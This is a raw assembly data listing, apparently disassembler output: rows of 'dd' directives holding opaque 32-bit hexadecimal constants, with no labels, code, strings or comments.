		dd 3F6A81h, 14EF57B7h, 0F8B732E9h, 0C357995Ch, 0A30110D2h
		dd 3D39C6E5h, 64F19512h, 0F7C0EADAh, 6F09CDD9h,	0AA7771CEh
		dd 0C203B107h, 0DAF7A2FAh, 0A2534F26h, 0C98101E8h, 0E4259C5h
		dd 0B78E23Ch, 44AA2EECh, 0A028A372h, 8913F36Dh,	29AB59CAh
		dd 2BD43078h, 8D09A1D2h, 40627E40h, 6C32389Ah, 1E310CC1h
		dd 19846AE9h, 0D21B9CDBh, 8AA8201Eh, 783185D3h,	63F7837Ah
		dd 5FF0E14Fh, 0DE90BF01h, 4CE6052Eh, 90F7ABDh, 3483FD29h
		dd 225A1FCh, 7DDC9h, 60E3ED2Dh,	0AFECD55Fh, 6BFC292Fh
		dd 895354A5h, 4F085E9h,	52603B90h, 2C45B939h, 4474AF3h
		dd 0A8367CD2h, 0BCE1C4A0h, 6383BF00h, 0F89F09DEh, 306C08Eh
		dd 691CF81h, 0E9117906h, 953CEB3Bh, 8C2D1FAh, 776B0D68h
		dd 3A464819h, 0F40CCE4Bh, 5907ECCBh, 644A5E9Dh,	0C5D3E451h
		dd 63765C0Fh, 7C8F6E4Bh, 5D5A2538h, 5EB4AA36h, 0A3E95585h
		dd 0DF58AED2h, 7A9DAC9Eh, 9A2D2062h, 0DE015A16h, 155BF08h
		dd 6E6C05Bh, 2E813A66h,	496CCE30h, 9C8EDE25h, 0C280E200h
		dd 0F62E58B5h, 5A03C5D2h, 0E759EA30h, 0F2F13D37h, 0ED2E2875h
		dd 0D2F01470h, 2F420571h, 51C05E27h, 131086F3h,	8EF89D6h
		dd 40000589h, 8526B02Dh, 0FAC2FACBh, 1AA56042h,	0D77DB505h
		dd 0D8F7651Dh, 9537B2C2h, 70027F36h, 5FC80A3Ah,	64B40CB3h
		dd 544858C0h, 0F678C06Bh, 22089531h, 67F08924h,	0AD345117h
		dd 12EAB800h, 0C144757Fh, 0C40B5D0Ch, 52BEAF72h, 0BA522F42h
		dd 291C4E5Ah, 789CE9D5h, 0E2542438h, 0E9224372h, 0C16E06E9h
		dd 30EDD1DEh, 2106482Ah, 57975A1Ah, 67E92E81h, 0DE888616h
		dd 0B0F64F5Bh, 0E5AAE897h, 41C8901h, 824AE2EEh,	0F5E2F5E9h
		dd 0EE82B251h, 1767E54h, 0F28D4015h, 83394E00h,	0BDA0B772h
		dd 15D50E1Fh, 3FF685Bh,	0D349E963h, 0B7AE4E50h,	0BB3065Fh
		dd 0B2ECFC12h, 59317832h, 2C63AB9Dh, 0E9AADC7Bh, 60B1A5Bh
		dd 0C15B005Ch, 0BF0ABA62h, 7794262h, 6170C8B6h,	0EB687D60h
		dd 135F765Eh, 9BEFEAC7h, 0B8E90932h, 0A36C7598h, 0C7FD51BDh
		dd 9E9AD821h, 0CA8F0035h, 0F6390E32h, 0A8654F83h, 5159F0A1h
		dd 0E93D13ACh, 3079417Bh, 0F0D8F6C7h, 0F8E4C588h, 0FC7320E9h
		dd 0BDBF28BFh, 3A7C1807h, 73FDB2B4h, 17759211h,	30CCA043h
		dd 31354B03h, 58256CFh,	29E6C0BFh, 25F6717Eh, 1610969h
		dd 81D7C94h, 96C73CECh,	0E0EF62CBh, 6807E120h, 0CC5A4BA9h
		dd 1E01091Dh, 0E9581C0Dh
		dd 4534C13Fh, 1D794E2Ch, 642D3B1Dh, 0DA645E79h,	0C8FE2DD5h
		dd 275B2BCBh, 393FBB30h, 0D3074CB1h, 3B055422h,	29ACEEA3h
		dd 2D1A99B8h, 0C0FF46B7h, 82A6E707h, 1D5319F5h,	0E1BCA455h
		dd 0DD3884A0h, 80B3164Dh, 615354BBh, 0BA05014Ch, 127403Ah
		dd 2055E9D8h, 9D170E2Ch, 90BC5D59h, 70F3081Ah, 0EAB8605Dh
		dd 0ED210B4Ah, 0CF525F2Eh, 0B5E82D20h, 682568CEh, 0F616FD0Ah
		dd 0E9CE0104h, 2D90A16Eh, 1F4521CDh, 9572BD9h, 0FA253E5Ch
		dd 5113FAF1h, 2855C308h, 47202582h, 25C29F56h, 0DBC11B65h
		dd 0A4080561h, 1D2263Ch, 7C9B7040h, 0FD80DE53h,	63470502h
		dd 6887C895h, 0CC1E5F78h, 999FF553h, 0AAE4518Bh, 0EB9DCE1Dh
		dd 0FFFDB1E5h, 0B68DBC8h, 29191F02h, 0C63A16D0h, 548B1F89h
		dd 2F2DEEC0h, 63E94595h, 0EA01C19Ah, 0C5552CFAh, 0D4DA4BF2h
		dd 0CFCB1430h, 3D71E7C6h, 99971F8Ah, 7CDBD0D4h,	3A4A2963h
		dd 8C58C6A8h, 0A21E135Fh, 0A6548AADh, 13D1B08h,	59E6AA35h
		dd 0E9F83E4Ch, 25759275h, 0B8C7048Fh, 5E4F0E83h, 0E9C71240h
		dd 5929F0D9h, 4DBD70B8h, 2F4A25CBh, 80F4C5D7h, 21685755h
		dd 474B7D4Eh, 0BE0317FCh, 0C1418803h, 0F70C5679h, 48E1AFC0h
		dd 485F78FDh, 0BF0123DDh, 0E9684E2Fh, 3E807554h, 102D8CAh
		dd 4865E9C5h, 0CCDBFF1h, 962B9520h, 2AC86B5h, 0E8011C1Ah
		dd 199505FFh, 5D78D580h, 0AF50117h, 81B49A1Ah, 0EE2BD7F7h
		dd 0C3E73F59h, 0AF204848h, 2F482D05h, 0DA010B7Ch, 603634FEh
		dd 18560020h, 7801CB07h, 0C30F1E5Fh, 3774E9B6h,	878C67E3h
		dd 6C4A1D7Eh, 0D4862AE2h, 0E6071794h, 1D495C7Dh, 0F29766B2h
		dd 2332207Ch, 0FA5CF881h, 0FADBFC5Eh, 55A3CA57h, 4849AED9h
		dd 0AA1BB690h, 0CE30D4BCh, 3EC825DEh, 0CCE8F41h, 38EB325Dh
		dd 78C6E97Fh, 0A0C65BFh, 134F267Dh, 83D620A2h, 140C4508h
		dd 122BCA2Ah, 6FB29CEDh, 84365F78h, 0EBE1AA5Ch,	0D6C3A26Fh
		dd 72F280EAh, 0C7FC3D0Fh, 0FD68390Ah, 28089803h, 400F2C78h
		dd 2C627F7Ah, 3982DEBDh, 8E56C087h, 0C2F1F06Bh,	14126D20h
		dd 8900CE21h, 0BEF66FC6h, 58BBFFEh, 53C4395Eh, 9370E2BBh
		dd 0E96A88FEh, 3DC6B94Dh, 68630EACh, 0B0303372h, 52ADB5h
		dd 0E280E5B2h, 95E950FCh, 14BCCD52h, 80F1FB48h,	54EA5230h
		dd 68DB0AF7h, 0C080248Ch, 64FD7BC7h, 0CEC4E912h, 9CC10FB8h
		dd 204FBF79h, 0D69DD218h, 0BAF15B39h, 4CF27AB2h, 8DF03878h
		dd 0DB78EE4Eh, 6FFE6AE9h, 268B1FD2h, 9ABC568Dh,	2D5FC42Fh
		dd 7765174Fh, 75B4F40Bh, 73F022E8h, 14BEF09h, 86608FBh
		dd 69AA5F12h, 0C804EE7Eh, 7545E182h, 7EAF11E5h,	7F6C02D2h
		dd 0C4F52A83h, 7DD4BF9Eh, 177EACF1h, 13CECB1Dh,	0B4F3AB70h
		dd 9A66465Fh, 0CB3D5DA2h, 0B0BBED0h, 0FE03E3C1h, 47878B3Ch
		dd 0C3AA34F9h, 0D495614Fh, 10CC81FAh, 130F2221h, 0F860D0DAh
		dd 4C0ED705h, 0C82E7109h, 240820ACh, 89ADE1E9h,	9FD35B5Fh
		dd 0EABCD7A7h, 0A2CB23B6h, 0D5936B5Fh, 304481D3h, 0DA5648A4h
		dd 16DFD42Bh, 77AAC1BDh, 9D0AF474h, 949E2F86h, 20F916EDh
		dd 8598EAD0h, 0F90DD627h, 0D948B096h, 46EC1167h, 0BA37E912h
		dd 0BA5E622Bh, 7060B62Ch, 0BD5FE0DDh, 0E912161Eh, 0E2AA9750h
		dd 2580099Bh, 485270AEh, 0C3952688h, 513A370Eh,	0F0941353h
		dd 59B509DCh, 4780693Dh, 18E22348h, 784014B8h, 79DE7231h
		dd 10C4EF3h, 0AE6866D8h, 5A443A45h, 5B00E3CEh, 75575C2Dh
		dd 0EAC614Bh, 0ECBA5207h, 3139B17Ch, 0E18B2AD0h, 4D746809h
		dd 0FBF00964h, 23C06C13h, 0CAEF480Ch, 0B5E19D88h, 43162F37h
		dd 40D8CAFEh, 0AB495BCBh, 0D8CF2859h, 2F60FB41h, 6936129Ah
		dd 2ACDFE37h, 2694BC43h, 163DE37Dh, 0AD25D0B3h,	0F49D664Ch
		dd 60BD80B3h, 0B7E983C7h, 0A266A14Ch, 7A96DD31h, 284A589Eh
		dd 74FC6272h, 0AAD7EFF8h, 0D0E7A012h, 0C09CE9C3h, 91E40B16h
		dd 8BDF46F8h, 8371CE11h, 54BFF445h, 0B34A83EBh,	87219375h
		dd 0FA059A94h, 64029B0h, 0B31E2E0Dh, 64967276h,	0E345F27h
		dd 55FA7925h, 15B1818h,	7D8DCB58h, 0EB417060h, 4EFF1F1Dh
		dd 555B610h, 7AC00397h,	5476E4FBh, 0B8ED4017h, 52991CEAh
		dd 0BB1E0157h, 3A0E4236h, 561CFD00h, 79894B5Eh,	96D998EFh
		dd 0B8679301h, 49B64F05h, 0F665BC5Ah, 0F8949D0Ch, 0A885E913h
		dd 1CC5F1FCh, 0C428AEB7h, 760EBD7Fh, 84CD17AAh,	0B30BF668h
		dd 0BBE81716h, 5A4B6B53h, 18E90152h, 0F5CA3042h, 0E9575581h
		dd 0DDA33E0Fh, 0CC1B8401h, 412D580Eh, 6A315B06h, 96C7C746h
		dd 3047762Eh, 0CA3B8703h, 0EA1D2821h, 0E2C14A26h, 53B3227h
		dd 0C8F0007Fh, 0D501BC54h, 727B56B5h, 3B3F4EF5h, 73021BEDh
		dd 301EE934h, 0D2D8F754h, 55AD80D9h, 0E1FBD70h,	230905C5h
		dd 46DA55F6h, 7B122E25h, 512B0508h, 0C0E0EF43h,	20AC9D2h
		dd 1426D104h, 56C781CBh, 0E69F3168h, 4A368B19h,	0F6CE684h
		dd 6C3AF5Ch, 48372BC6h,	8E01EED2h, 89F824C1h, 2DA67ED1h
		dd 458572Eh, 0C029912Bh, 0A522DD1Ch, 80E0194Fh,	0A3D0F547h
		dd 1E3F3101h, 0C1FFFD20h, 5FAAE71Ch, 8994C755h,	0C4C20EE9h
		dd 0A9E9F955h, 610581FCh, 6A759964h, 7067BA1h, 0B0E92C9Fh
		dd 0EAE24538h, 27BC8D11h, 48E0252Dh, 445E8C82h,	429B0CCCh
		dd 2D0C4D19h, 0F2AF8A17h, 21B7908h, 6F8F6853h, 6E8894F1h
		dd 3482498h, 1B923439h,	7ED971D9h, 0C240F493h, 0C0A9CABBh
		dd 9AD5C303h, 55FA50B8h, 503FB29Dh, 0E996D88Fh,	1357BD2Eh
		dd 140FDA87h, 3190A401h, 0B9EC3FCh, 0FFE4C363h,	279DB6C1h
		dd 976A4716h, 6F699089h, 5BF1AE8h, 0ECA4DD82h, 0F3795A90h
		dd 0F1610F6h, 297A8C5Ah, 0CA89D117h, 87B4D9B8h,	0C340184Ah
		dd 13985712h, 10F30111h, 1C690852h, 5E64DEF2h, 52053DC4h
		dd 5A260968h, 4ED0E957h, 1FDDDA30h, 1633A902h, 7FF1A145h
		dd 89BAC1C4h, 0F07B6877h, 6743E95Dh, 72F81721h,	3B5FBA1Dh
		dd 0C8C9DA32h, 19C6FE75h, 67CCE80h, 32EED8F9h, 96F02831h
		dd 0E3809256h, 0F68B2BEFh, 5C9031FBh, 5DEA0112h, 5C43DCBFh
		dd 3BFDD24Ah, 518EB110h, 0F7AA0C91h, 12DB58B5h,	0FC1413E9h
		dd 0AB00E9C3h, 0ED103B35h, 41C6BC7Ah, 0D8136208h, 2828D22Eh
		dd 17EA21C6h, 0EB455FFCh, 5CA54C02h, 0F1C740F6h, 525E0431h
		dd 0C5E1D167h, 8685FF4Eh, 9275F7BFh, 5F374D02h,	5401571Bh
		dd 70B040D9h, 0CF4AAB40h, 3F1E2DAAh, 0E9CB5A01h, 1898ACCAh
		dd 25959A45h, 0D6329625h, 0C9C06ED8h, 7CD1201Bh, 2DC7B2C1h
		dd 35006C3Ah, 4B601D17h, 8A187630h, 5BA6EA4Fh, 9256B2D0h
		dd 0AE5765BAh, 91932DA2h, 2A7F48FDh, 0AA4E59E7h, 0DE9A970h
		dd 0B26BB565h, 2E5B71C7h, 0E43C6062h, 301F1E9Ch, 5CC56885h
		dd 0D0D76E92h, 78BB092Ah, 4085F6EBh, 0F9F2EEDAh, 10CA7AC4h
		dd 68AF4FE8h, 5C5BEF05h, 6CE67331h, 0F47E28F5h,	12075E92h
		dd 0ECE982DBh, 95592A8Ch, 0AEE1C385h, 0B705B88Bh, 0B842E907h
		dd 74BF029Ch, 40650C5Eh, 0B15147Ch, 0F8E975F4h,	2B5DADE1h
		dd 36ADC4B8h, 38E84C71h, 28BF4A25h, 365D33F8h, 0C0454A77h
		dd 0B346B2A9h, 7BD607E3h, 9C742F52h, 0D1B63CADh, 2F46BCBBh
		dd 23AFFD01h, 16179FAh,	49397A38h, 4B0DE86Fh, 2FE55CCh
		dd 0E9140670h, 4ED58B55h, 0A858006h, 271D1365h,	24EE101h
		dd 1EFD5A08h, 6468137Dh, 993DBB20h, 815EA17Bh, 3F1268D5h
		dd 0D23A26B0h, 84FF488Bh
		dd 36FC8795h, 0A49FE8D6h, 3F41F3BBh, 9A3DE8Eh, 0CC964613h
		dd 36090A30h, 55014845h, 0C810DC6h, 0E935405Bh,	6EE194A0h
		dd 8D314B2h, 7D28818Bh,	0EEA1014Eh, 0A53DAA2Ah,	74B2DE6Ch
		dd 0EA02BA5Bh, 877D7F03h, 8A025649h, 0C1BC002h,	342CC28Ch
		dd 82FD2038h, 0D74AB208h, 3FF29400h, 5A00D528h,	0B759E888h
		dd 0C082E9C2h, 0A0C02D6Bh, 80F47F99h, 65A33B5Eh, 2DCB511h
		dd 77019C9h, 51C27F5Fh,	0A3C7275h, 0E0142234h, 20C00F9h
		dd 0CF014995h, 8810990h, 3FE63F59h, 22603A89h, 0F9B75D5Fh
		dd 545209E8h, 0E9F871D4h, 0EAE45AA4h, 0E7F8B22Dh, 0F539C002h
		dd 3A10719Bh, 7B70E5ECh, 0CD4C1B28h, 4F42A720h,	2EFDD928h
		dd 4CF79FA0h, 0BD7D0B5Eh, 69CE97F9h, 56C2D4E2h,	7B16D3BCh
		dd 0B250FB8Ch, 58E912D6h, 3511DC90h, 14D0A40Ah,	581789C2h
		dd 0EC4ACBE7h, 9B2E4D8h, 3E348992h, 4A27CCBCh, 0A4B37171h
		dd 8BA1D45Ah, 2E51C082h, 76C1B427h, 0CE6800D3h,	16C1820Ch
		dd 8FB46816h, 0A9402661h, 78807F12h, 0C3572578h, 7C5165Dh
		dd 3F1090BAh, 0E0CAE134h, 0C1067B7Dh, 4F69CB99h, 0E1328D5Dh
		dd 34C27BBBh, 2251F554h, 9312E1EAh, 25D18CAh, 59A87615h
		dd 70B7680Bh, 0E55ED266h, 0C5BA9BC0h, 71062E47h, 0DC11947h
		dd 51816B29h, 0A23B5AD7h, 0CCEA96A8h, 0EB69F65Ah, 2DE4F54Ah
		dd 808A4020h, 25216EADh, 22F0FD63h, 0B2B16395h,	4F7B7C8Eh
		dd 101C3E06h, 0C3015E17h, 68D6CDFAh, 0F08BA542h, 6F71994Bh
		dd 0C8B296CDh, 8799D810h, 65925733h, 7AABC97Dh,	3C4315B5h
		dd 90DEF150h, 0D5EBC383h, 5BA623Eh, 0C00D6AF7h,	2070CD50h
		dd 450E0179h, 0A569C73Bh, 6ECDA09Ch, 40ED4F30h,	0F759307Fh
		dd 48B194E0h, 2668B080h, 17399508h, 5A83286Eh, 91CCE684h
		dd 804C405Dh, 2891ED0Eh, 0AEC5AEFDh, 7912135Bh,	0C8E9B360h
		dd 0E365C5A1h, 82D8FD04h, 68DB2FF6h, 1D2DCED3h,	8F1F407Fh
		dd 98E0C6EEh, 0E7B3E935h, 4234F9BFh, 0FC90BB0Fh, 59818944h
		dd 0CF6BFA8Bh, 33EAAA7Eh, 0BA10C200h, 0E564F72h, 522FA9BEh
		dd 89E681E0h, 3B60B946h, 0C967130Ch, 0ADE9130Dh, 15B8A9A3h
		dd 15D0A7Eh, 0E996B353h, 0FA6DABDDh, 0C141B4D7h, 31FE83B7h
		dd 6A8DBAFBh, 9442DD04h, 21D0417Dh, 6AE8A544h, 6F066F75h
		dd 22972D20h, 12C1294h,	0A802FBF8h, 400ED277h, 6773BD6Ch
		dd 0FB5BE83Dh, 0D2BAEF6Bh, 0E6C1D6A2h, 0D0EE2E60h, 0C202670Dh
		dd 57B2C56h, 0BBD1883Bh, 0BBD913h, 51665AD9h, 283BFBB5h
		dd 4097CEFh, 2FA6E96Dh,	5152E0D4h, 3EADB753h, 6797FD88h
		dd 8C4720A8h, 4816C675h, 62ABA468h, 8DD0D4C9h, 37419CFAh
		dd 958ED1E8h, 0B13D3F22h, 527B05Dh, 0F85582BBh,	49E829DFh
		dd 3033ACB9h, 65204272h, 8FA5C8BDh, 9DD5BA57h, 0F44B0DC4h
		dd 50600687h, 1472BD55h, 0FA4B586Dh, 0C629B405h, 3A75C13Fh
		dd 12F72D4Ah, 27EA35BBh, 0D8E8E292h, 0B4AF1D7h,	49FADAB4h
		dd 0CCB1E15Fh, 0A31B856Ah, 0CCE93AEDh, 0E6E28E0Fh, 3D374B19h
		dd 5F0E4FC6h, 1F2560Dh,	1A027F8Eh, 0F2743008h, 8B5E07A1h
		dd 0C4C5EFD9h, 4AAE988Fh, 0E76CAC96h, 5D3FE4EDh, 9AA5C93Dh
		dd 0C981DFFEh, 22EA840Fh, 0DA24380Bh, 0E9B11EBDh, 4A1E7CBEh
		dd 0BBDC74ABh, 0B4C298Ah, 5DFBA925h, 3BE21410h,	6B0BC276h
		dd 84259A87h, 39FC5A38h, 0D61B09D2h, 594FB05Dh,	7612EBD2h
		dd 0B8149DFEh, 18490BAh, 14421D21h, 8E60E829h, 89D4B5FEh
		dd 0AE6CC842h, 46F76F76h, 6FC30693h, 0EB419354h, 2C422699h
		dd 5D31CBBEh, 5252C54Ch, 8EE9C2A9h, 2097CC1Ch, 682DB027h
		dd 9D7370CAh, 0DEC51DEh, 0D4681651h, 0E9C16020h, 51B5428Ch
		dd 8ECEA52h, 0BB022AF3h, 48A15EAFh, 2E4716CCh, 1C345B01h
		dd 0EEEADC03h, 63540303h, 93B74385h, 5BB26757h,	71F7A7Dh
		dd 73F655BAh, 45E9174Fh, 0D830BA24h, 0BC17B668h, 75E062F3h
		dd 0FE1F7EAFh, 0E1E4AC4Ah, 8E3B59FDh, 444A76E0h, 2FE9B730h
		dd 5D7995D2h, 0DE44E287h, 2202F0BAh, 56D021BBh,	30752703h
		dd 625568CEh, 0D2D7322h, 4914DF0Bh, 6853FF88h, 0D033A30Bh
		dd 0A8541041h, 4C0D8046h, 525F78FAh, 0FA00821Eh, 0E93D8861h
		dd 17DBBE6Fh, 2C8BAA33h, 0F2855F7Eh, 82598437h,	75CBE00h
		dd 2AF4261Dh, 3503549Ah, 65BC608Dh, 6EAAB140h, 17EC0F31h
		dd 4AF00544h, 600FCC68h, 0DB919BACh, 0DD01B52Dh, 0CF81F220h
		dd 7B26071Bh, 0D927BF61h, 6F1A0017h, 0F6815C08h, 82320AF0h
		dd 61120C3Eh, 477B29ABh, 402DF826h, 5F4BDE41h, 6D26F6B7h
		dd 94BDC8D5h, 55B99F16h, 8ED97D0h, 30224849h, 0D279F501h
		dd 34556253h, 0F1F21E73h, 35587614h, 71E91706h,	0EFE47252h
		dd 5C1D71CFh, 16796AB4h, 16912440h, 44A212CAh, 1EB6F688h
		dd 9C9EA9Dh, 0D13957A6h, 0F94E6129h, 55C009Ch, 5057904Bh
		dd 0A32D9336h, 0D0AFE507h, 8568597Dh, 0C29928E7h, 0C0A92211h
		dd 149E29Fh, 57558A3Dh,	18E21E9h, 0C6B5A5Fh, 2C10183Fh
		dd 0FF79B372h, 0DD7B2324h, 0BA7868C9h, 921D9E5Ch, 0CBBD0002h
		dd 6ABF0ADFh, 9F0B27B0h, 7C216216h, 0C14800CBh,	0EE2507E8h
		dd 0F9C5400h, 0CC15430Dh, 0EC68101Eh, 42E9097Eh, 7BCEB3C7h
		dd 91644B06h, 705BDAC3h, 1C9E5329h, 42DD54A5h, 0E2F69D4Fh
		dd 78247282h, 0F07D2Dh,	7CA42E7h, 9602C480h, 214AD3DAh
		dd 830E0F9h, 700615BEh,	0C954540h, 4B48F27Eh, 8130F0Eh
		dd 9BF05F5h, 80F8490Ch,	5A715C97h, 2020D277h, 0F0A08466h
		dd 1E302B70h, 0A3ED5E22h, 3B9F3371h, 0C487E50Eh, 6180FF4Dh
		dd 5E3F3631h, 7275BD01h, 34FFB44Bh, 5EA5FEFCh, 0DE8AB5FCh
		dd 595A828Ah, 20C1D1F7h, 2E8E49B4h, 0FAD504C8h,	0E11676Ch
		dd 0F1DB644Ah, 51AC6ABDh, 0E55E30E9h, 80D9FE9Dh, 5B5F49DFh
		dd 0F7EC874Fh, 30DBD34Ch, 42F621E8h, 6879241Bh,	0E4973EC4h
		dd 404BED41h, 35408DE2h, 20F79853h, 683A7BD2h, 0F0F6CB3Fh
		dd 4B3CBB92h, 15F05EE9h, 0E44FDE34h, 0AEFA5E77h, 8C94A04Dh
		dd 2D680829h, 0F2665FF6h, 91666B0Fh, 25AA7645h,	0AE00EBBDh
		dd 0E7873FAh, 908A04B8h, 90013066h, 0F5ACE96Bh,	5E5878C0h
		dd 451E5D1h, 4F72EFB9h,	3ACCAB49h, 0C80995DAh, 95C19E7Dh
		dd 3098947Fh, 0BE5CAD18h, 5D097C89h, 0DEE6C165h, 4C2D0240h
		dd 3FF71ABh, 26DEF777h,	1E071Ch, 49BE8DC8h, 0EC4D4CE9h
		dd 6ED0549h, 0C35F6568h, 760C3949h, 6FFCBBABh, 5FA7C7BCh
		dd 0F35509AEh, 210493Eh, 0C9C1D68Dh, 0B31E4EEh,	8E1C822Eh
		dd 6987CF74h, 0CDCA32Dh, 5729049Fh, 0FCFBE971h,	8ADF4B3Eh
		dd 7084D750h, 12E1749h,	664308D7h, 60F4AE6Ch, 89EF6FEBh
		dd 0E0BFA968h, 2DD61D47h, 21548432h, 6A0D727h, 0DEEC577Fh
		dd 5916CEF8h, 121FF531h, 0D6745DD5h, 4017A3E4h,	0B42550A7h
		dd 808CF06Ah, 958DBCD0h, 1F42BADEh, 33945F64h, 0D3080F93h
		dd 50578B3Ch, 7D7A18DEh, 0E925F566h, 96A079C2h,	2E45BE1Fh
		dd 0C5E87281h, 9F650AC1h, 6DC06F1Fh, 244EF225h,	16DC6E2Ah
		dd 4E4CEC4Ch, 3EAD04ECh, 11623ACh, 8000EC3h, 0E98EEF12h
		dd 0EA77E912h, 120CF89h, 0D08980F7h, 6C4859BDh,	217E6829h
		dd 0F40843C9h, 0BCD72D48h, 0A0B9443h, 0A0242368h, 83BA41C2h
		dd 2D2B62CAh, 58DCDA6Eh, 845F4DCEh, 18015494h, 1494C56h
		dd 834A0D6h, 0E0F2E919h, 4BCFBF4Ah, 25BBE803h, 0A9F5E3C8h
		dd 1E39817Dh, 753A287Ch
		dd 0B019832Bh, 300523E6h, 0ED5E3B30h, 405FAB67h, 974D60F0h
		dd 8CF65101h, 2A803A34h, 1561B850h, 0B924DA62h,	59D3FF18h
		dd 72183DC7h, 2D0C7711h, 481DEAF6h, 1176931h, 82DDB9CAh
		dd 0ABBB94E9h, 0F57D0BDDh, 1A8C48B0h, 45DB2Fh, 622936D1h
		dd 442AD7F6h, 134D75E9h, 0F2C66EBCh, 102E1F8Bh,	0B141BDD2h
		dd 9330B36Ch, 0D68E6D6h, 6BC73AB4h, 8FFC2B96h, 9239B61Fh
		dd 5204AE20h, 480D189h,	257A44F1h, 0AFD45B85h, 0C192D9C7h
		dd 67D248E1h, 0C9FE12EEh, 468AEB31h, 0D508E551h, 715001D5h
		dd 0C966BE28h, 76356895h, 0D0E7EBBh, 0F007B271h, 5862A7F2h
		dd 12B75C62h, 7B430EE2h, 6111E926h, 0ADA5D8FFh,	0E647129Dh
		dd 74E6EDC5h, 474B5480h, 43B85780h, 0FE712AD3h,	0C5F4C1C9h
		dd 74759472h, 9A4DE99Ch, 0D0F61360h, 96BC77BEh,	0E51289FDh
		dd 0CCFF0C68h, 717145AFh, 42F9014Ch, 0BAA5FA5h,	8E5092B8h
		dd 2AC26095h, 21BC2C4Dh, 7A1600CBh, 1DE91214h, 0C193B39Eh
		dd 11BE29C1h, 0A86E31F1h, 58717C82h, 8336DB9Fh,	43AB0393h
		dd 275C0C06h, 0FC783C2Fh, 4108A3E9h, 0EFED140Ch, 4A29A034h
		dd 0BC8ABFDFh, 80DAB24Bh, 79DE40CCh, 0B5687051h, 60354145h
		dd 29924EBFh, 0CA61C9DDh, 3F15E5DFh, 0A5087824h, 5CDF0680h
		dd 18B00FE7h, 764FD501h, 6EF1E920h, 536AAB34h, 0A54AB348h
		dd 0D6AB7CCCh, 18201F44h, 0A713E930h, 0CA1C019Ah, 70D26BC1h
		dd 0EAD13304h, 0F8E2D0EAh, 714C5E27h, 0D8140473h, 0BABCEB9h
		dd 0A57C52ABh, 79F85EEBh, 0F42C8253h, 0E01B935Ch, 58499021h
		dd 69130E1Ah, 26AEB7C1h, 0F02F5C53h, 0A0DE9703h, 59E97CD2h
		dd 0C751EE86h, 0C92FD42Fh, 0D3218F78h, 1C14AF50h, 0BE000F90h
		dd 0E9172D45h, 0E3FFCCE4h, 0A1D5EC6Fh, 1CB17ECFh, 5C862C8h
		dd 13A8FEBh, 51DCEB80h,	806A0FB1h, 1059E9FAh, 326F5C81h
		dd 0F4804FDDh, 17224B4Dh, 5F26EBECh, 10B0823h, 0E23255FBh
		dd 56000D0Bh, 2E52740Fh, 0B16CABFh, 3B22FF08h, 5BD55456h
		dd 645DEB27h, 0B9202D00h, 9625AA72h, 0B5566C40h, 0B5BBED22h
		dd 968F5CCAh, 48C1490Bh, 6180F9D0h, 0F0C8C1AFh,	0BBBD5EBAh
		dd 0D2C3F9ABh, 0BED03E6Ch, 6B5B712Dh, 6349F94Bh, 0A92DA510h
		dd 0DB48F656h, 18D5DEC2h, 0B55FFBB7h, 0F581F7B8h, 1314DC1Ch
		dd 4F10572Fh, 194A3D68h, 5E54F321h, 0E90BDC26h,	0AD9887D9h
		dd 0A8FC83B9h, 7421332Dh, 288785F6h, 0C6C000FDh, 51D93EFCh
		dd 0F49EA80h, 0EE2959A0h, 1808A8DCh, 0F79352E9h, 7616FAC9h
		dd 490109BFh, 2ED640E0h, 0C03ECBDDh, 0CC642395h, 4C704458h
		dd 65B91629h, 0A1D2C2EDh, 0EE12F9EBh, 0E04B5C44h, 0BC3A08F1h
		dd 0B7BDA88Fh, 0A861398h, 10449358h, 7E4C1BEEh,	5C38BB5Fh
		dd 6B962A68h, 814E7F95h, 0D71E7F59h, 7734374Ch,	80020CC4h
		dd 5CC611C6h, 8E610C4Dh, 93A35283h, 18BF3F29h, 0C3800DE2h
		dd 21E7F270h, 5066D4B9h, 0E9E3B005h, 3AAEC5AAh,	0D7455800h
		dd 68B0F7ECh, 251E16A3h, 55258B3Dh, 8DE23CE5h, 0BCF1D984h
		dd 13DB7900h, 33BE781h,	3981AF5Ah, 9154A2C1h, 0F14B00C3h
		dd 49006B64h, 5E50403Ah, 2D1308B1h, 0FDEC10ABh,	0AFD32E82h
		dd 92E25657h, 0F26CD332h, 9549B0A0h, 98BEF295h,	94566595h
		dd 1A24FB0Ah, 48BA9EEEh, 666A1305h, 8C95D321h, 0CCAAA92Fh
		dd 4AE94D5Bh, 0FF941621h, 0DFEC40C9h, 621892D0h, 676D1047h
		dd 97DA0902h, 0B3E90BA8h, 211B23F8h, 0DA771C4Fh, 0FEF97D22h
		dd 3351BF00h, 69B92E74h, 6DF60B79h, 0AF070Bh, 0ACADEEA7h
		dd 87DE5FE3h, 1F935F7h,	8A3189ACh, 0C2057E73h, 98B2156Eh
		dd 0C2209B4Ch, 0A0E05B4Bh, 0FA303E25h, 28802618h, 68C1EFD1h
		dd 6CD54250h, 0C8BCE47Eh, 0B5FDBD5Eh, 7838B390h, 293DBA05h
		dd 8B510CAh, 0AF165927h, 320AE49h, 0E498625h, 0E4DDD11Eh
		dd 0D663FD7Bh, 4A2369AFh, 0F4C725E5h, 0EE98BE5h, 0F402EE42h
		dd 907F6C0Ah, 26366608h, 3582811h, 744F6061h, 536DCEB0h
		dd 0D44AF02Eh, 0C7D7EB0Eh, 5B9989DEh, 99DF2FE3h, 307C122Ch
		dd 0E7E368C5h, 0B57917B5h, 0D210F4E9h, 0C7800EBDh, 0E3CF6637h
		dd 5E317E0Ch, 6A3DA182h, 9D5B2C8Bh, 0A3B87E76h,	127AF284h
		dd 673015A9h, 28D1BA83h, 0E26CF32Fh, 0B30F624h,	54593AF4h
		dd 35CCD627h, 5B51B044h, 16C58013h, 0D528664Bh,	5000D845h
		dd 0F480B9B4h, 4C519808h, 0AC1B4F69h, 5DC7CC28h, 135DEE10h
		dd 68450B67h, 76301327h, 298034F2h, 589EEEC1h, 1E81E333h
		dd 0EC27536Ah, 12A101D8h, 32806B58h, 0FCB0F9C6h, 0D765EBE5h
		dd 5A3FD12Eh, 53E63E13h, 124A159h, 87AC895Ch, 0EB83D72Ch
		dd 1FA3C45Fh, 0BF7E56D3h, 0BD7EC98Bh, 5DA7FA45h, 4577AE32h
		dd 0A530A58Ah, 0F5DDC9ACh, 0A1C75380h, 0B0CF0916h, 20A9EEB2h
		dd 4AFA6822h, 93C84216h, 8A01F556h, 20E6446h, 0C8AA9845h
		dd 0A05E2AC9h, 0EE6F3DA4h, 0F9577BF4h, 0EE586474h, 0D0A3A055h
